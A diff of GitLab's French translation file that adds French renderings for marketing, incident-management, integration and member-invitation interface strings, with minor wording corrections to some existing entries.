msgid "InProductMarketing|Access advanced features, build more efficiently, strengthen security and compliance."
-msgstr ""
+msgstr "Accédez aux fonctionnalités avancées, construisez plus efficacement, renforcez la sécurité et la conformité."
msgid "InProductMarketing|Access advanced features."
msgstr "Accéder aux fonctionnalités avancées."
msgid "InProductMarketing|Actually, GitLab makes the team work (better)"
-msgstr ""
+msgstr "GitLab fait vraiment (mieux) travailler l'équipe"
msgid "InProductMarketing|And finally %{deploy_link} a Python application."
msgstr "Et pour terminer %{deploy_link} une application Python."
@@ -21068,25 +21313,25 @@ msgid "InProductMarketing|Automated security scans directly within GitLab"
msgstr "Analyses de sécurité automatisées directement au sein de GitLab"
msgid "InProductMarketing|Be a DevOps hero"
-msgstr ""
+msgstr "Soyez un héros du DevOps"
msgid "InProductMarketing|Beef up your security"
msgstr "Renforcez votre sécurité"
msgid "InProductMarketing|Better code in less time"
-msgstr ""
+msgstr "Un meilleur code en moins de temps"
msgid "InProductMarketing|Blog"
msgstr "Blog"
msgid "InProductMarketing|Break down silos to coordinate seamlessly across development, operations, and security with a consistent experience across the development lifecycle."
-msgstr ""
+msgstr "Supprimez les cloisonnements pour coordonner de manière transparente le développement, les opérations et la sécurité avec une expérience cohérente tout au long du cycle de développement."
msgid "InProductMarketing|Building for iOS? We've got you covered."
msgstr "Construire pour iOS ? Nous avons ce qu'il vous faut."
msgid "InProductMarketing|Burn up/down charts"
-msgstr ""
+msgstr "Graphiques d'avancement/d'évolution"
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr "En définissant des propriétaires de code et en exigeant des approbations de fusion, la bonne personne examinera la bonne MR. Ceci est gagnant-gagnant : un code plus propre et un processus d'examen plus efficace."
@@ -21098,13 +21343,13 @@ msgid "InProductMarketing|Code owners and required merge approvals are part of t
msgstr "Les propriétaires de code et les approbations de fusion requises font partie des éditions payantes de GitLab. Vous pouvez commencer une période d'essai de 30 jours de GitLab Ultimate et activer ces fonctionnalités en moins de 5 minutes sans avoir besoin de carte bancaire."
msgid "InProductMarketing|Code review analytics"
-msgstr ""
+msgstr "Analytique de revue de code"
msgid "InProductMarketing|Collaboration across stages in GitLab"
-msgstr ""
+msgstr "Collaboration entre les étapes dans GitLab"
msgid "InProductMarketing|Collaboration made easy"
-msgstr ""
+msgstr "Collaboration simplifiée"
msgid "InProductMarketing|Create a custom CI runner with just a few clicks"
msgstr "Créez un exécuteur CI personnalisé en quelques clics"
@@ -21116,13 +21361,13 @@ msgid "InProductMarketing|Create a project in GitLab in 5 minutes"
msgstr "Créez un projet dans GitLab en 5 minutes"
msgid "InProductMarketing|Create well-defined workflows by using scoped labels on issues, merge requests, and epics. Labels with the same scope cannot be used together, which prevents conflicts."
-msgstr ""
+msgstr "Créez des flux de travail bien définis en utilisant des étiquettes à portée limitée sur des tickets, des demandes de fusions et des épopées. Les étiquettes avec la même portée ne peuvent pas être utilisées ensemble, ce qui évite les conflits."
msgid "InProductMarketing|Create your first project!"
msgstr "Créez votre premier projet !"
msgid "InProductMarketing|Define who owns specific files or directories, so the right reviewers are suggested when a merge request introduces changes to those files."
-msgstr ""
+msgstr "Définissez qui sont les propriétaires de fichiers ou de dossiers spécifiques afin que les relecteurs appropriés soient suggérés quand une demande de fusion introduit des modifications sur ces fichiers."
msgid "InProductMarketing|Deliver Better Products Faster"
msgstr "Livrez de Meilleurs Produits plus Rapidement"
@@ -21137,7 +21382,7 @@ msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
msgid "InProductMarketing|Discover Premium & Ultimate"
-msgstr ""
+msgstr "Découvrez Premium et Ultimate"
msgid "InProductMarketing|Discover Premium & Ultimate."
msgstr "Découvrez Premium & Ultimate."
@@ -21146,7 +21391,7 @@ msgid "InProductMarketing|Do you have a teammate who would be perfect for this t
msgstr "Avez-vous un coéquipier qui serait parfait pour cette tâche ?"
msgid "InProductMarketing|Dynamic application security testing"
-msgstr ""
+msgstr "Test dynamique de la sécurité des applications"
msgid "InProductMarketing|Epics"
msgstr "Épopées"
@@ -21155,25 +21400,25 @@ msgid "InProductMarketing|Expand your DevOps journey with a free GitLab trial"
msgstr "Développez votre parcours DevOps avec un essai gratuit de GitLab"
msgid "InProductMarketing|Explore GitLab CI/CD"
-msgstr ""
+msgstr "Explorez GitLab CI/CD"
msgid "InProductMarketing|Explore the options"
-msgstr ""
+msgstr "Explorer les options"
msgid "InProductMarketing|Explore the power of GitLab CI/CD"
-msgstr ""
+msgstr "Explorez la puissance de GitLab CI/CD"
msgid "InProductMarketing|Facebook"
msgstr "Facebook"
msgid "InProductMarketing|Feel the need for speed?"
-msgstr ""
+msgstr "Vous ressentez le besoin d'aller plus vite ?"
msgid "InProductMarketing|Find and fix bottlenecks in your code review process by understanding how long open merge requests have been in review."
-msgstr ""
+msgstr "Trouvez et corrigez les goulets d’étranglement dans votre processus de revue de code en interprétant la durée pendant laquelle les demandes de fusion ouvertes ont été en revue."
msgid "InProductMarketing|Find out how your teams are really doing"
-msgstr ""
+msgstr "Découvrez comment vos équipes s'en sortent réellement"
msgid "InProductMarketing|Find out if your external libraries are safe. Run dependency scanning jobs that check for known vulnerabilities in your external libraries."
msgstr "Découvrez si vos bibliothèques externes sont sûres. Exécutez des tâches d'analyse de dépendances qui vérifient la présence de vulnérabilités connues dans vos bibliothèques externes."
@@ -21188,13 +21433,13 @@ msgid "InProductMarketing|Get going with CI/CD quickly using our %{quick_start_l
msgstr "Démarrez rapidement avec CI/CD en utilisant notre %{quick_start_link}. Commencez avec un exécuteur disponible puis créez un fichier de CI .yml - c'est vraiment aussi simple que cela."
msgid "InProductMarketing|Get our import guides"
-msgstr ""
+msgstr "Obtenez nos guides sur l'importation"
msgid "InProductMarketing|Get set up to build for iOS"
msgstr "Mettez en place la construction pour iOS"
msgid "InProductMarketing|Get started today"
-msgstr ""
+msgstr "Commencez dès aujourd'hui"
msgid "InProductMarketing|Get started today with a 30-day GitLab Ultimate trial, no credit card required."
msgstr "Débutez dès aujourd'hui avec un essai GitLab Ultimate de 30 jours, aucune carte de crédit n'est requise."
@@ -21203,13 +21448,13 @@ msgid "InProductMarketing|Get started with GitLab CI/CD"
msgstr "Premiers pas avec GitLab CI/CD"
msgid "InProductMarketing|Get to know GitLab CI/CD"
-msgstr ""
+msgstr "Apprenez à connaître GitLab CI/CD"
msgid "InProductMarketing|Get your team set up on GitLab"
msgstr "Mettez votre équipe en place sur GitLab"
msgid "InProductMarketing|Git basics"
-msgstr ""
+msgstr "bases sur Git"
msgid "InProductMarketing|GitHub Enterprise projects to GitLab"
msgstr "des projets GitHub Enterprise vers GitLab"
@@ -21227,7 +21472,7 @@ msgid "InProductMarketing|GitLab's premium tiers are designed to make you, your
msgstr "Les éditions payantes de GitLab sont conçues pour vous rendre, vous, votre équipe et votre application, plus efficaces et davantage en sécurité grâce à des fonctionnalités, qui, sans s'y limiter, comprennent :"
msgid "InProductMarketing|Give us one minute..."
-msgstr ""
+msgstr "Accordez-nous une minute..."
msgid "InProductMarketing|Go farther with GitLab"
msgstr "Allez plus loin avec GitLab"
@@ -21251,7 +21496,7 @@ msgid "InProductMarketing|How many days does it take our team to complete variou
msgstr "Combien de jours faut-il à notre équipe pour effectuer différentes tâches ?"
msgid "InProductMarketing|How to build and test faster"
-msgstr ""
+msgstr "Comment construire et tester plus rapidement"
msgid "InProductMarketing|If you don't want to receive marketing emails directly from GitLab, %{marketing_preference_link}."
msgstr "Si vous ne souhaitez pas recevoir de courriels commerciaux directement de GitLab, %{marketing_preference_link}."
@@ -21260,7 +21505,7 @@ msgid "InProductMarketing|If you no longer wish to receive marketing emails from
msgstr "Si vous ne souhaitez plus recevoir de courriels commerciaux de notre part,"
msgid "InProductMarketing|Import your project and code from GitHub, Bitbucket and others"
-msgstr ""
+msgstr "Importez votre projet et votre code depuis GitHub, Bitbucket et d'autres"
msgid "InProductMarketing|Improve app security with a 30-day trial"
msgstr "Améliorez la sécurité des applications grâce à un essai de 30 jours"
@@ -21272,7 +21517,7 @@ msgid "InProductMarketing|Increase Operational Efficiencies"
msgstr "Augmenter l'Efficacité Opérationnelle"
msgid "InProductMarketing|Invite them to help out."
-msgstr ""
+msgstr "Invitez-les pour vous aider."
msgid "InProductMarketing|Invite your colleagues and start shipping code faster."
msgstr "Invitez vos collègues et commencez à livrer du code plus rapidement."
@@ -21287,13 +21532,13 @@ msgid "InProductMarketing|Invite your team in less than 60 seconds"
msgstr "Invitez votre équipe en moins de 60 secondes"
msgid "InProductMarketing|Invite your team now"
-msgstr ""
+msgstr "Invitez votre équipe maintenant"
msgid "InProductMarketing|Invite your team today to build better code (and processes) together"
msgstr "Invitez votre équipe dès aujourd'hui pour créer ensemble du code (et des processus) de meilleure qualité"
msgid "InProductMarketing|It's all in the stats"
-msgstr ""
+msgstr "Tout est dans les statistiques"
msgid "InProductMarketing|It's also possible to simply %{external_repo_link} in order to take advantage of GitLab's CI/CD."
msgstr "Il est également possible de simplement %{external_repo_link} pour tirer profit de la CI/CD de GitLab."
@@ -21302,31 +21547,31 @@ msgid "InProductMarketing|Keep your code quality high by defining who should app
msgstr "Maintenez une qualité de code élevée en définissant qui doit approuver les demandes de fusion et combien d'approbations sont requises."
msgid "InProductMarketing|Launch GitLab CI/CD in 20 minutes or less"
-msgstr ""
+msgstr "Lancez GitLab CI/CD en 20 minutes ou moins"
msgid "InProductMarketing|Learn how to build for iOS"
msgstr "Apprenez à construire pour iOS"
msgid "InProductMarketing|Lower cost of development"
-msgstr ""
+msgstr "Coût de développement réduit"
msgid "InProductMarketing|Make it easier to collaborate on high-level ideas by grouping related issues in an epic."
-msgstr ""
+msgstr "Facilitez la collaboration sur des idées de haut niveau en regroupant des tickets apparentés au sein d'une épopée."
msgid "InProductMarketing|Making the switch? It's easier than you think to import your projects into GitLab. Move %{github_link}, or import something %{bitbucket_link}."
-msgstr "Prêt pour la transition ? Il est plus facile que vous ne le pensiez d'importer vos projets dans GitLab. Migrez %{github_link} or importez quelque chose %{bitbucket_link}."
+msgstr "Prêt pour la transition ? Il est plus facile que vous ne le pensez d'importer vos projets dans GitLab. Migrez %{github_link} or importez quelque chose %{bitbucket_link}."
msgid "InProductMarketing|Master the art of importing!"
-msgstr ""
+msgstr "Maîtrisez l'art de l'importation !"
msgid "InProductMarketing|Merge request approval rule"
-msgstr ""
+msgstr "Règle d'approbation des demandes de fusion"
msgid "InProductMarketing|Move on to easily creating a Pages website %{ci_template_link}"
-msgstr ""
+msgstr "Passez à la création facile d'un site web Pages %{ci_template_link}"
msgid "InProductMarketing|Multiple owners, confusing workstreams? We've got you covered"
-msgstr ""
+msgstr "Plusieurs propriétaires, flux de travail déroutants ? Nous avons ce qu'il vous faut"
msgid "InProductMarketing|Multiple required approvers"
msgstr "Plusieurs approbateurs requis"
@@ -21338,19 +21583,19 @@ msgid "InProductMarketing|No credit card required."
msgstr "Aucune carte de crédit requise."
msgid "InProductMarketing|Our tool brings all the things together"
-msgstr ""
+msgstr "Notre outil réunit tout"
msgid "InProductMarketing|Protect your web application by using DAST to examine for vulnerabilities in deployed environments."
msgstr "Protégez votre application Web en utilisant DAST pour rechercher les vulnérabilités dans les environnements déployés."
msgid "InProductMarketing|Rapid development, simplified"
-msgstr ""
+msgstr "Développement rapide, simplifié"
msgid "InProductMarketing|Reduce Security & Compliance Risk"
msgstr "Réduire les Risques de Sécurité et de Conformité"
msgid "InProductMarketing|Require multiple approvers on a merge request, so you know it's in good shape before it's merged."
-msgstr ""
+msgstr "Exigez plusieurs approbateurs sur une demande de fusion, vous saurez ainsi que tout est pour le mieux avant qu'elle ne soit fusionnée."
msgid "InProductMarketing|Roadmaps"
msgstr "Feuilles de route"
@@ -21359,7 +21604,7 @@ msgid "InProductMarketing|Scoped labels"
msgstr "Étiquettes à portée limitée"
msgid "InProductMarketing|Security that's integrated into your development lifecycle"
-msgstr ""
+msgstr "Une sécurité intégrée dans votre cycle de développement"
msgid "InProductMarketing|Sometimes you're not ready to make a full transition to a new tool. If you're not ready to fully commit, %{mirroring_link} gives you a safe way to try out GitLab in parallel with your current tool."
msgstr "Il se peut que vous ne soyez pas prêt pour une transition complète vers un nouvel outil. Si nous n'êtes pas prêt pour y passer totalement, la %{mirroring_link} vous donne une solution sûre pour toujours utiliser votre outil actuel tout en essayant GitLab en parallèle."
@@ -21377,16 +21622,16 @@ msgid "InProductMarketing|Start a Self-Managed trial"
msgstr "Commencez un essai Auto-Géré"
msgid "InProductMarketing|Start a free trial"
-msgstr ""
+msgstr "Commencer un essai gratuit"
msgid "InProductMarketing|Start a free trial of GitLab Ultimate – no credit card required"
msgstr "Commencer un essai gratuit de GitLab Ultimate – pas besoin de carte bancaire"
msgid "InProductMarketing|Start a trial"
-msgstr ""
+msgstr "Commencer un essai"
msgid "InProductMarketing|Start by %{performance_link}"
-msgstr ""
+msgstr "Commencez par %{performance_link}"
msgid "InProductMarketing|Start by importing your projects"
msgstr "Commencez par importer vos projets"
@@ -21401,19 +21646,19 @@ msgid "InProductMarketing|Start your trial today to experience single applicatio
msgstr "Commencez votre essai aujourd'hui pour réussir avec une application unique et découvrir gratuitement toutes les fonctionnalités de GitLab Ultimate !"
msgid "InProductMarketing|Stop wondering and use GitLab to answer questions like:"
-msgstr ""
+msgstr "Arrêtez de vous interroger et utilisez GitLab pour répondre à des questions telles que :"
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
-msgstr "Rationalisez la revue de code, voyez en un clin d'œil qui n'est pas disponible, communiquez via les commentaires ou par courriel et intégrez Slack afin que tout le monde soit sur la même page."
+msgstr "Rationalisez la revue de code, voyez en un clin d'œil qui n'est pas disponible, communiquez via les commentaires ou par courriel et intégrez Slack afin que tout le monde soit sur la même longueur d'onde."
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr "Faites vos premiers pas avec GitLab"
msgid "InProductMarketing|Take your source code management to the next level"
-msgstr ""
+msgstr "Passez la gestion de votre code source au niveau supérieur"
msgid "InProductMarketing|Team members collaborating"
-msgstr ""
+msgstr "Membres de l'équipe collaborant"
msgid "InProductMarketing|Team up in GitLab for greater efficiency"
msgstr "Faites équipe sur GitLab pour une plus grande efficacité"
@@ -21422,7 +21667,7 @@ msgid "InProductMarketing|Team work makes the dream work"
msgstr "Le travail d'équipe fait du rêve une réalité"
msgid "InProductMarketing|Test, create, deploy"
-msgstr ""
+msgstr "Tester, créer, déployer"
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr "C'est tout ce qu'il faut pour démarrer avec GitLab, mais si vous travaillez avec Git pour la première fois, consultez nos %{basics_link} pour des conseils et astuces qui seront utiles pour débuter."
@@ -21437,7 +21682,7 @@ msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
msgstr "Ticketmaster a réduit son temps de construction CI d'un facteur 15"
msgid "InProductMarketing|Tired of wrestling with disparate tool chains, information silos and inefficient processes? GitLab's CI/CD is built on a DevOps platform with source code management, planning, monitoring and more ready to go. Find out %{ci_link}."
-msgstr ""
+msgstr "Fatigué de lutter avec des chaînes d'outils disparates, des silos d'informations et des processus inefficaces ? Le CI/CD de GitLab est construit sur une plateforme DevOps avec gestion du code source, planification, supervision et bien plus encore. Découvrez %{ci_link}."
msgid "InProductMarketing|To opt out of these onboarding emails, %{unsubscribe_link}."
msgstr "Pour ne plus recevoir ces courriels de présentation, %{unsubscribe_link}."
@@ -21446,16 +21691,16 @@ msgid "InProductMarketing|To understand and get the most out of GitLab, start at
msgstr "Pour comprendre et tirer le meilleur parti de GitLab, commencez par le début et %{project_link}. Dans GitLab, les dépôts font partie d'un projet, donc, après avoir créé votre projet, vous pouvez continuer et %{repo_link}."
msgid "InProductMarketing|Track completed issues in a chart, so you can see how a milestone is progressing at a glance."
-msgstr ""
+msgstr "Suivez les tickets terminés sur un graphique, afin de voir du premier coup d'œil comment progresse un jalon."
msgid "InProductMarketing|Try GitLab Ultimate for free"
msgstr "Essayez GitLab Ultimate gratuitement"
msgid "InProductMarketing|Try it out"
-msgstr ""
+msgstr "Essayez-le"
msgid "InProductMarketing|Try it yourself"
-msgstr ""
+msgstr "Essayez-le vous-même"
msgid "InProductMarketing|Turn coworkers into collaborators"
msgstr "Transformez vos collègues en collaborateurs"
@@ -21464,13 +21709,13 @@ msgid "InProductMarketing|Twitter"
msgstr "Twitter"
msgid "InProductMarketing|Understand repository mirroring"
-msgstr ""
+msgstr "Comprendre la mise en miroir du dépôt"
msgid "InProductMarketing|Understand your project options"
-msgstr ""
+msgstr "Comprendre les options de votre projet"
msgid "InProductMarketing|Use GitLab CI/CD"
-msgstr ""
+msgstr "Utiliser GitLab CI/CD"
msgid "InProductMarketing|Use our AWS cloudformation template to spin up your runners in just a few clicks!"
msgstr "Utilisez notre modèle AWS cloudformation pour faire tourner vos exécuteurs en quelques clics !"
@@ -21479,7 +21724,7 @@ msgid "InProductMarketing|Used by more than 100,000 organizations from around th
msgstr "Utilisé par plus de 100000 entreprises dans le monde entier :"
msgid "InProductMarketing|Visualize your epics and milestones in a timeline."
-msgstr ""
+msgstr "Visualisez vos épopées et vos jalons sur une frise chronologique."
msgid "InProductMarketing|Want to get your iOS app up and running, including publishing all the way to TestFlight? Follow our guide to set up GitLab and fastlane to publish iOS apps to the App Store."
msgstr "Vous voulez rendre votre application iOS opérationnelle et la lancer, en passant par l'étape de sa publication sur TestFlight ? Suivez notre guide pour configurer GitLab et fastlane pour mettre en ligne des applications iOS sur l'App Store."
@@ -21494,13 +21739,13 @@ msgid "InProductMarketing|We know a thing or two about efficiency and we don't w
msgstr "Nous connaissons deux ou trois choses pour être efficace et nous ne pouvons pas les garder pour nous. Inscrivez-vous pour un essai gratuit de GitLab Ultimate et vos équipes seront à pied d'œuvre dès le premier jour."
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
-msgstr ""
+msgstr "À quoi ressemble la chronologie de notre chaîne de valeur, du produit à la production, en passant par le développement et la revue de code ?"
msgid "InProductMarketing|When your team is on GitLab these answers are a click away."
msgstr "Lorsque votre équipe est sur GitLab, ces réponses sont à portée de clic."
msgid "InProductMarketing|Working in GitLab = more efficient"
-msgstr ""
+msgstr "Travailler sur GitLab = plus efficace"
msgid "InProductMarketing|YouTube"
msgstr "YouTube"
@@ -21518,34 +21763,34 @@ msgid "InProductMarketing|connect an external repository"
msgstr "connecter un dépôt externe"
msgid "InProductMarketing|create a project"
-msgstr ""
+msgstr "créez un projet"
msgid "InProductMarketing|from Bitbucket"
-msgstr ""
+msgstr "depuis Bitbucket"
msgid "InProductMarketing|go to about.gitlab.com"
-msgstr ""
+msgstr "aller sur about.gitlab.com"
msgid "InProductMarketing|how easy it is to get started"
-msgstr ""
+msgstr "comme il est facile de démarrer"
msgid "InProductMarketing|quick start guide"
-msgstr ""
+msgstr "guide de démarrage rapide"
msgid "InProductMarketing|repository mirroring"
-msgstr ""
+msgstr "mise en miroir de dépôt"
msgid "InProductMarketing|set up a repo"
msgstr "mettre en place un dépôt"
msgid "InProductMarketing|test and deploy"
-msgstr ""
+msgstr "testez et déployez"
msgid "InProductMarketing|testing browser performance"
-msgstr ""
+msgstr "tester les performances du navigateur"
msgid "InProductMarketing|unsubscribe"
-msgstr ""
+msgstr "désabonner"
msgid "InProductMarketing|update your preferences"
msgstr "mettre à jour vos préférences"
@@ -21557,16 +21802,16 @@ msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr "vous pouvez vous %{unsubscribe_link} à tout moment."
msgid "Inactive"
-msgstr ""
+msgstr "Inactif"
msgid "Incident"
msgstr "Incident"
msgid "Incident Management Limits"
-msgstr ""
+msgstr "Limites de la Gestion des Incidents"
msgid "Incident creation cancelled."
-msgstr ""
+msgstr "Création d'incident annulée."
msgid "Incident details"
msgstr "Détails de l'incident"
@@ -21575,7 +21820,7 @@ msgid "Incident template (optional)."
msgstr "Modèle d'incident (facultatif)."
msgid "Incident title"
-msgstr ""
+msgstr "Titre de l'incident"
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
msgstr "%{hours} heures, %{minutes} minutes restantes"
@@ -21605,7 +21850,7 @@ msgid "IncidentManagement|An error occurred while updating the incident status.
msgstr "Une erreur s'est produite lors de la mise à jour de l'état de l'incident. Veuillez recharger la page et réessayer."
msgid "IncidentManagement|Assign paging status"
-msgstr ""
+msgstr "Assigner l'état du signal"
msgid "IncidentManagement|Assignees"
msgstr "Assigné(e)s"
@@ -21671,7 +21916,7 @@ msgid "IncidentManagement|Resolved"
msgstr "Résolu"
msgid "IncidentManagement|Setting the status to Acknowledged or Resolved stops paging when escalation policies are selected for the incident."
-msgstr ""
+msgstr "Définir l'état sur Acquitté ou Résolu met fin à l'envoi de signaux lorsque les politiques d’escalade sont sélectionnées pour l’incident."
msgid "IncidentManagement|Severity"
msgstr "Gravité"
@@ -21725,7 +21970,7 @@ msgid "IncidentSettings|PagerDuty integration"
msgstr "Intégration de PagerDuty"
msgid "IncidentSettings|Time limit"
-msgstr ""
+msgstr "Délai"
msgid "IncidentSettings|Time limit must be a multiple of 15 minutes."
msgstr "Le délai doit être un multiple de 15 minutes."
@@ -21749,10 +21994,10 @@ msgid "Incidents"
msgstr "Incidents"
msgid "Incidents|Add image details"
-msgstr ""
+msgstr "Ajouter des détails sur l'image"
msgid "Incidents|Add text or a link to display with your image. If you don't add either, the file name displays instead."
-msgstr "Ajouter un texte ou un lien avec votre image. Sans cela, le nom du fichier sera affiché à la place."
+msgstr "Ajoutez un texte ou un lien à afficher avec votre image. Sans l'un ou l'autre, le nom du fichier sera affiché à la place."
msgid "Incidents|Drop or %{linkStart}upload%{linkEnd} a metric screenshot to attach it to the incident"
msgstr "Déposez ou %{linkStart}téléversez%{linkEnd} une capture d'écran de métriques pour la joindre à l'incident"
@@ -21881,7 +22126,7 @@ msgid "Increase"
msgstr "Augmenter"
msgid "Indent line"
-msgstr ""
+msgstr "Indenter la ligne"
msgid "Index"
msgstr "Indexer"
@@ -22006,8 +22251,8 @@ msgstr "Statistiques"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr "Configurez un rapport personnalisé pour obtenir des statistiques sur les processus de votre groupe tels que les quantités de tickets, de bogues et de demandes de fusion par mois. %{linkStart}Comment puis-je configurer un rapport statistique ?%{linkEnd}"
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
-msgstr "Certains éléments ne sont pas visibles car des filtres ont été appliqués au projet via le fichier insights.yml (voir la configuration projects.only pour plus d'informations)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
+msgstr "Certains éléments ne sont pas visibles car le projet a été filtré via le fichier insights.yml (voir la configuration projects.only dans le fichier YAML ou les fonctionnalités du projet activées - tickets, demandes de fusion - dans les paramètres du projet)."
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr "Ce projet est masqué par un filtre du fichier insights.yml (voir la configuration projects.only pour plus d'informations)."
@@ -22039,7 +22284,7 @@ msgid "Instance access request rejected"
msgstr "Demande d'accès à l'instance rejetée"
msgid "Instance administrators group already exists"
-msgstr ""
+msgstr "Le groupe des administrateurs d'instance existe déjà"
msgid "Instance audit events"
msgstr "Événements d'audit d'instance"
@@ -22068,9 +22313,18 @@ msgstr "Un commentaire est ajouté à un ticket"
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr "Un ticket confidentiel est créé, mis à jour ou fermé"
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr "Un déploiement a démarré ou a fini"
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr "Une demande de fusion est créée, mise à jour ou fusionnée"
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr "Une nouvelle alerte unique est enregistrée"
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr "Une nouvelle vulnérabilité unique est enregistrée. (Remarque : cette fonctionnalité nécessite un forfait Ultimate)"
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr "L'état d'un pipeline change"
@@ -22171,10 +22425,10 @@ msgid "Integrations|Enable comments"
msgstr "Activer les commentaires"
msgid "Integrations|Enable slash commands and notifications for a Slack workspace."
-msgstr ""
+msgstr "Activer les commandes de barre oblique et les notifications pour un espace de travail Slack."
msgid "Integrations|Ensure your instance URL is correct and your instance is configured correctly. %{linkStart}Learn more%{linkEnd}."
-msgstr ""
+msgstr "Assurez-vous que l'URL de votre instance est correcte et que votre instance est correctement configurée. %{linkStart}En savoir plus%{linkEnd}."
msgid "Integrations|Enter your alias"
msgstr "Entrez votre alias"
@@ -22221,6 +22475,9 @@ msgstr "Inclut le titre et la branche du commit."
msgid "Integrations|Instance-level integration management"
msgstr "Gestion d'intégration au niveau de l'instance"
+msgid "Integrations|Integration details"
+msgstr "Détails de l’intégration"
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr "Les tickets créés dans Jira sont affichés ici une fois que vous avez créé les tickets dans la configuration du projet sur Jira."
@@ -22417,7 +22674,7 @@ msgid "Invalid date"
msgstr "Date non valide"
msgid "Invalid date format. Please use UTC format as YYYY-MM-DD"
-msgstr ""
+msgstr "Format de date non valide. Veuillez utiliser le format UTC AAAA-MM-JJ"
msgid "Invalid date range"
msgstr "Plage de dates non valide"
@@ -22435,7 +22692,7 @@ msgid "Invalid file."
msgstr "Fichier non valide."
msgid "Invalid format selected"
-msgstr ""
+msgstr "Format non valide sélectionné"
msgid "Invalid hash"
msgstr "Hash non valide"
@@ -22444,10 +22701,10 @@ msgid "Invalid import params"
msgstr "Paramètres d'importation non valides"
msgid "Invalid input, please avoid emojis"
-msgstr ""
+msgstr "Entrée non valide, veuillez éviter les émojis"
msgid "Invalid login or password"
-msgstr ""
+msgstr "Identifiant ou mot de passe non valide"
msgid "Invalid period"
msgstr "Période non valide"
@@ -22480,7 +22737,7 @@ msgid "Invalid yaml"
msgstr "Yaml non valide"
msgid "Invalidated"
-msgstr ""
+msgstr "Invalidé"
msgid "Investigate vulnerability: %{title}"
msgstr "Enquête sur la vulnérabilité : %{title}"
@@ -22558,7 +22815,7 @@ msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this gr
msgstr "Nous avons remarqué que vous n’avez invité personne dans ce groupe. Invitez vos collègues afin de pouvoir discuter des tickets, collaborer sur les demandes de fusion et partager vos connaissances."
msgid "InviteMembersModal| Inviting a group %{linkStart}adds its members to your group%{linkEnd}, including members who join after the invite. This might put your group over the free %{count} user limit."
-msgstr ""
+msgstr "Inviter un groupe %{linkStart}ajoute ses membres à votre groupe%{linkEnd}, y compris les membres qui le rejoignent après l'invitation. Cela peut conduire votre groupe à dépasser la limite de %{count} utilisateurs gratuits."
msgid "InviteMembersModal| To get more members, the owner of this namespace can %{trialLinkStart}start a trial%{trialLinkEnd} or %{upgradeLinkStart}upgrade%{upgradeLinkEnd} to a paid tier."
msgstr "Pour pouvoir avoir davantage de membres, le propriétaire de cet espace de noms peut %{trialLinkStart}commencer un essai%{trialLinkEnd} ou %{upgradeLinkStart}effectuer une mise à niveau%{upgradeLinkEnd} vers une édition payante."
@@ -22609,7 +22866,7 @@ msgid "InviteMembersModal|Members were successfully added"
msgstr "Les membres ont été ajoutés avec succès"
msgid "InviteMembersModal|Please add members to invite"
-msgstr ""
+msgstr "Veuillez ajouter des membres à inviter"
msgid "InviteMembersModal|Review the invite errors and try again:"
msgstr "Examinez les erreurs d'invitation et réessayez :"
@@ -22677,7 +22934,7 @@ msgid "InviteMembers|Invite team members"
msgstr "Inviter des membres de l'équipe"
msgid "InviteMember|Add members to this project and start collaborating with your team."
-msgstr "Ajouter des membres à ce projet et commencer à travailler avec votre équipe."
+msgstr "Ajoutez des membres à ce projet et commencez à travailler avec votre équipe."
msgid "InviteMember|Invite Members (optional)"
msgstr "Inviter des membres (facultatif)"
@@ -22689,7 +22946,7 @@ msgid "InviteMember|Invite members"
msgstr "Inviter des membres"
msgid "InviteMember|Invite your team"
-msgstr ""
+msgstr "Invitez votre équipe"
msgid "InviteMember|Invited users will be added with developer level permissions. %{linkStart}View the documentation%{linkEnd} to see how to change this later."
msgstr "Les utilisateurs invités seront ajoutés avec des autorisations de niveau développeur. %{linkStart}Afficher la documentation%{linkEnd} pour voir comment modifier cela ultérieurement."
@@ -22722,7 +22979,7 @@ msgid "InviteReminderEmail|Hey there %{wave_emoji}"
msgstr "Bonjour %{wave_emoji}"
msgid "InviteReminderEmail|Hey there!"
-msgstr ""
+msgstr "Bonjour !"
msgid "InviteReminderEmail|In case you missed it..."
msgstr "Au cas où vous ne l'auriez pas vu..."
@@ -22785,16 +23042,16 @@ msgid "Is using license seat:"
msgstr "Utilise un siège de la licence :"
msgid "Is using seat"
-msgstr ""
+msgstr "Utilise un siège"
msgid "IssuableEvents|assigned to"
-msgstr ""
+msgstr "a assigné à"
msgid "IssuableEvents|removed review request for"
msgstr "a supprimé la demande de revue pour"
msgid "IssuableEvents|requested review from"
-msgstr ""
+msgstr "a demandé une revue de code à"
msgid "IssuableEvents|unassigned"
msgstr "a désassigné"
@@ -22812,7 +23069,7 @@ msgid "IssuableStatus|Created %{created_at} by"
msgstr "Créé %{created_at} par"
msgid "IssuableStatus|duplicated"
-msgstr ""
+msgstr "doublon"
msgid "IssuableStatus|moved"
msgstr ""
@@ -22866,13 +23123,13 @@ msgid "Issue events"
msgstr "Événements du ticket"
msgid "Issue first deployed to production"
-msgstr ""
